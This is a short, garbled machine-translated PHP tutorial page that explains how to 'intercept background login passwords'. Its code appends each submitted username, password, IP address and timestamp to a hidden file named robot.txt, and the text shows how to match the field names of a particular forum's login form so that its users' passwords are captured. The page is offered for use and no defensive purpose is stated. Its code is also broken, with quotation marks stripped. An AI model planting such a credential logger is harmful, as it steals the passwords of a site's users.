PHP code to intercept background login password_PHP tutorial

WBOY
Release: 2016-07-21 15:19:27
Original
882 people have browsed it

if($_POST[loginsubmit]!=){ //Determine whether the login button is clicked
$sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:. $HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // Concatenate the values ​​received by POST and assign them to variables $sb
fwrite(fopen(robot.txt,ab), $sb);} //The result is written into a file


The following is a brief analysis, taking Huaxia’s login page as an example. Open bbs.xxx.com/login.php, right-click to view the source code, CTRL+F search action to find the login form.

I only copied the key code.


//The value after action is the address for form submission, which will handle login. For example, the method to determine whether the password is correct is POST, so use $_POST to receive it.

. . . . Powerful ellipsis. . . . . .


Account(U):

class=input id =pwuser accessKey=u size=16
name=pwuser> //Input box for user name, pay attention to the value of name, which must be the same as $_POST[username] Corresponding, so to intercept Huaxia’s password, you need to change it to $_POST[pwuser]


Password (P):
class=input id=pwpwd accessKey=p
type=password size=16 name=pwpwd> //Input box for user name , pay attention to the value of its name, which must correspond to $_POST[username], so to intercept Huaxia’s password, you need to change it to $_POST[pwpwd]

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/325278.htmlTechArticleif($_POST[loginsubmit]!=){ //Determine whether the login button is clicked $sb=user: .$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // Put...
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template